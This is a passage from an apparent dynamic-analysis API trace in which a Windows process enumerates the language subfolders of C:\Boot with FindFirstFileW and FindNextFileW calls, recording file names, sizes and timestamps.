cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.987] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.987] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0275.987] GetProcessHeap () returned 0xaf0000 [0275.987] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.987] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0275.987] GetProcessHeap () returned 0xaf0000 [0275.987] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.987] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0275.987] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.987] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.988] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0275.988] FindClose (in: hFindFile=0xb02d88 | out: hFindFile=0xb02d88) returned 1 [0275.988] GetProcessHeap () returned 0xaf0000 [0275.988] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.988] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0275.988] GetProcessHeap () returned 0xaf0000 [0275.988] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.988] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0275.988] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.988] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.988] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.988] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.989] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0275.989] GetProcessHeap () returned 0xaf0000 [0275.989] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.989] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0275.989] GetProcessHeap () returned 0xaf0000 [0275.989] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.989] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0275.989] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.989] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12558, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.989] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.989] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.990] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0275.990] GetProcessHeap () returned 0xaf0000 [0275.990] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.990] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0275.990] GetProcessHeap () returned 0xaf0000 [0275.990] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.990] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\uk-UA\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0275.990] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.990] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.990] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0275.990] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0275.990] GetProcessHeap () returned 0xaf0000 [0275.990] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.990] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0275.991] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0275.991] GetProcessHeap () returned 0xaf0000 [0275.991] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.991] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0275.991] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.991] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.991] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.992] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.992] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0275.992] GetProcessHeap () returned 0xaf0000 [0275.992] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.992] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0275.992] GetProcessHeap () returned 0xaf0000 [0275.992] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.992] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0275.992] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.992] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf958, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.993] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.993] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.993] FindClose (in: hFindFile=0xb02d88 | out: hFindFile=0xb02d88) returned 1 [0275.993] GetProcessHeap () returned 0xaf0000 [0275.993] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.993] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0275.993] GetProcessHeap () returned 0xaf0000 [0275.993] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.993] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0275.993] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.993] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.993] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.994] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 